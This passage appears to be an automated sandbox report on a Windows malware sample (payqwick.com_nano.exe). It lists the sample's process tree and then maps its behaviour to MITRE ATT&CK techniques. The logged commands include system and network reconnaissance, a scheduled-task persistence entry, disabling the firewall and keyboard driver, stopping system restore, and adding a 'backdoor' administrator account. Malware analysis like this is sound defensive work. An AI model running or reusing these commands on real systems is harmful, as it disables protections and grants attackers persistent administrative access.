  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:760
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4992
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:640
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4620
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4328
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3704
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4080
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2788
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:364
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4988
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:4436
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:2484
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:644
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3928
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:4800

C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe
1⤵
PID:3020

C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe
C:\Users\Admin\AppData\Local\Temp\payqwick.com_nano.exe
1⤵
PID:4400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery